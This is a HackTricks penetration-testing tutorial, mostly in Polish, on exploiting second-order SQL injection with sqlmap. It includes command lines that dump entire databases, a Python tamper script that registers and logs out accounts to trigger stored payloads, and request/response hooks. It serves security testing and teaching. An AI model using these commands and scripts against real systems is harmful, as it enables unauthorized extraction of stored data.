Second Order Injection with SQLMap
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
SQLMap can exploit Second Order SQLis.
Musisz podać:
- request, w którym payload sqlinjection zostanie zapisany
- request, w którym payload zostanie wykonany
Request, w którym payload SQL injection jest zapisywany, jest wskazywany tak samo jak w każdej innej injection w sqlmap. Request, z którego sqlmap może odczytać output/wykonanie injection, można wskazać za pomocą --second-url albo --second-req, jeśli trzeba podać pełny request z pliku.
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
W kilku przypadkach to nie wystarczy, ponieważ będziesz musiał wykonać inne działania poza wysłaniem payload i wejściem na inną stronę.
Gdy jest to potrzebne, możesz użyć sqlmap tamper. Na przykład poniższy skrypt zarejestruje nowego użytkownika używając sqlmap payload jako email i wyloguje się.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
SQLMap tamper jest zawsze wykonywany przed rozpoczęciem próby injection z payloadem i musi zwrócić payload. W tym przypadku nie interesuje nas payload, ale zależy nam na wysłaniu kilku requestów, więc payload nie jest zmieniany.
Jeśli więc z jakiegoś powodu potrzebujemy bardziej złożonego flow, aby wykorzystać second order SQL injection, na przykład:
- Utwórz account z payloadem SQLi w polu “email”
- Logout
- Login za pomocą tego account (login.txt)
- Wyślij request, aby wykonać SQL injection (second.txt)
Ta linia sqlmap pomoże:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Przydatne przełączniki w rzeczywistych flow drugiego rzędu
Automatyzacja second-order zwykle zawodzi, ponieważ żądanie zapisujące payload działa, ale żądanie wykonania jest głośne, stanowe albo chronione. Gdy tak się dzieje, poniższe flagi są zwykle bardziej przydatne niż dodawanie kolejnych payloadów:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Przydatne, gdy request zapisu lub wyzwalacza potrzebuje świeżego anti-CSRF token przy każdej próbie.--live-cookies: Przeładuj cookies przed każdym request. Przydatne, gdy browser/Burp macro odświeża stan sesji w tle.--safe-reqi--safe-freq: Utrzymują workflow aktywny, gdy application wylogowuje Cię lub unieważnia session po kilku nieudanych probe.--string,--not-string,--regexp,--code,--text-only: Przydatne, gdy second-order response zawiera bannery, reklamy, znaczniki czasu lub user-generated junk, przez co diffing staje się niestabilne.
When --tamper is not enough
tamper.py nadal jest najprostszym sposobem, aby zarejestrować payload, wylogować się, zalogować ponownie i wywołać execution. Jednak na nowoczesnych target często czyściej jest przenieść część logiki do request/response hooks:
--preprocess: Modyfikuje cały HTTP request przed wysłaniem. Przydatne, gdy second-order flow potrzebuje dodatkowego nonce, dodatkowego parametru lub normalizacji nagłówków.--postprocess: Czyści HTTP response przed tym, jak sqlmap go porówna. Przydatne, gdy second-order sink jest owinięty w dynamic HTML i tylko mały fragment jest stabilny.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Ważne ograniczenia
- Nie zakładaj, że
--second-reqodtworzy ten sam payload wewnątrz placeholdera*w drugim request. Jeśli trigger request także potrzebuje wstrzykniętej wartości (lub jej pochodnej), zwykle wymagany jest własnytamper,--preprocessalbo lokalny proxy. - Nie polegaj na
--evaldla drugiego request. Oficjalne użycie dokumentuje--evaldla głównego flow requestów; jeśli drugi request również potrzebuje mutacji dla każdej próby, obsłuż to w skryptach pomocniczych.
Ten pattern jest szczególnie przydatny, gdy payload jest przechowywany w miejscach takich jak:
- Nazwy plików lub metadata obrazów, które są później query
- Pola rejestracji/profilu później konsumowane przez panele admin
- Preferencje sortowania/filtrowania zapisywane po stronie server i odtwarzane później
- Stan workflow, który jest wykonywany dopiero po preview, export lub akcji moderacji
References
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


